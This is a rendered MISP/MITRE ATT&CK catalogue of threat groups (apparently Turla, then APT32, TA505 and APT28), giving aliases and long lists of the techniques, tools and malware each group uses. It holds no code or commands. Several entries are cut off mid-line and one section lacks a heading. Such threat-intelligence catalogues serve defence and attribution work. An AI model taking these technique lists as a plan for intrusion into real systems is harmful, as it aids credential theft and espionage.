• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Penquin - S0587" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="PowerStallion - S0393" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:threat-actor="Turla" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6423. Table References
[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)

The tag is: `misp-galaxy:mitre-intrusion-set="APT32 - G0050"`

APT32 - G0050 is also known as:

- APT32
- SeaLotus
- OceanLotus
- APT-C-00

View relationships graph

APT32 - G0050 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="RotaJakiro - S1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with
• uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="KOMPROGO - S0156" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Kerrdown - S0585" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="WINDSHIELD - S0155" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SOUNDBITE - S0157" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-
similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-probability="likely"

uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Goopy - S0477" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Denis - S0354" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="PHOREAL - S0158" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 6424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0050">https://attack.mitre.org/groups/G0050</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/operation-cobalt-kitty-apt">https://www.cybereason.com/blog/operation-cobalt-kitty-apt</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html">https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html</a></td>
</tr>
</tbody>
</table>
TA505 - G0092

[TA505](https://attack.mitre.org/groups/G0092) is a cyber criminal group that has been active since at least 2014. [TA505](https://attack.mitre.org/groups/G0092) is known for frequently changing malware, driving global trends in criminal malware distribution, and ransomware campaigns involving [Clop](https://attack.mitre.org/software/S0611). (Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)(Citation: NCC Group TA505)(Citation: Korean FSI TA505 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="TA505 - G0092"`

TA505 - G0092 is also known as:

- TA505
- Hive0065

**View relationships graph**

TA505 - G0092 has relationships with:

- uses: `misp-galaxy:mitre-malware="TrickBot - S0266"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-tool="Net - S0039"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="Amadey - S1025"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-malware="Get2 - S0460"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-tool="PowerSploit - S0194"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069"` with `estimative-language:likelihood-probability="almost-certain"`
• uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="FlawedGrace - S0383" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="FlawedAmmyy - S0381" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="SDBbot - S0461" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ServHelper - S0382" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Clop - S0611" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Dridex - S0384" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Azorult - S0344" with estimative-language:likelihood-probability="almost-certain"

Table 6425. Table References
APT28 - G0007

[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia’s General Staff Main Intelligence Directorate (GRU) 85th Main Special Service Center (GTsSS) military unit 26165. (Citation: NSA/FBI Drovorub August 2020) This group has been active since at least 2004. (Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)

[APT28](https://attack.mitre.org/groups/G0007) reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: Crowdstrike DNC June 2016) In 2018, the US indicted five GRU Unit 26165 officers associated with [APT28](https://attack.mitre.org/groups/G0007) for cyber operations (including close-access operations) conducted between 2014 and 2018 against the World Anti-Doping Agency (WADA), the US Anti-Doping Agency, a US nuclear facility, the Organization for the Prohibition of Chemical Weapons (OPCW), the Spiez Swiss Chemicals Laboratory, and other organizations. (Citation: US District Court Indictment GRU Oct 2018) Some of these were conducted with the assistance of GRU Unit 74455, which is also referred to as [Sandworm Team](https://attack.mitre.org/groups/G0034).

The tag is: *misp-galaxy:mitre-intrusion-set="APT28 - G0007"*

APT28 - G0007 is also known as:

- APT28
- SNAKEMACKEREL
- Swallowtail
- Group 74
- Sednit
- Sofacy
• Pawn Storm
• Fancy Bear
• STRONTIUM
• Tsar Team
• Threat Group-4127
• TG-4127

View relationships graph

APT28 - G0007 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Downdelph - S0134" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Sharepoint - T1213.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:microsoft-activity-group="STRONTIUM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Obtain/re-use payloads - T1346" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:360net-threat-actor="奇幻熊 - APT-C-20" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Buy domain name - T1328" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Fysbis - S0410" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="X-Agent for Android - S0314" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="XAgentOSX - S0161" with estimative-language:likelihood-probability="almost-certain"
• similar: misp-galaxy:threat-actor="APT28" with estimative-language:likelihood-probability="likely"
• uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Communication Through Removable Media - T1092" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="XTunnel - S0117" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="DealersChoice - S0243" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Forfiles - S0193" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Drovorub - S0502" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Trusted Relationship - T1199" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Responder - S0174" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Zebrocy - S0251" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="USBStealer - S0136" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="LoJax - S0397" with estimative-language:likelihood-probability="almost-certain"

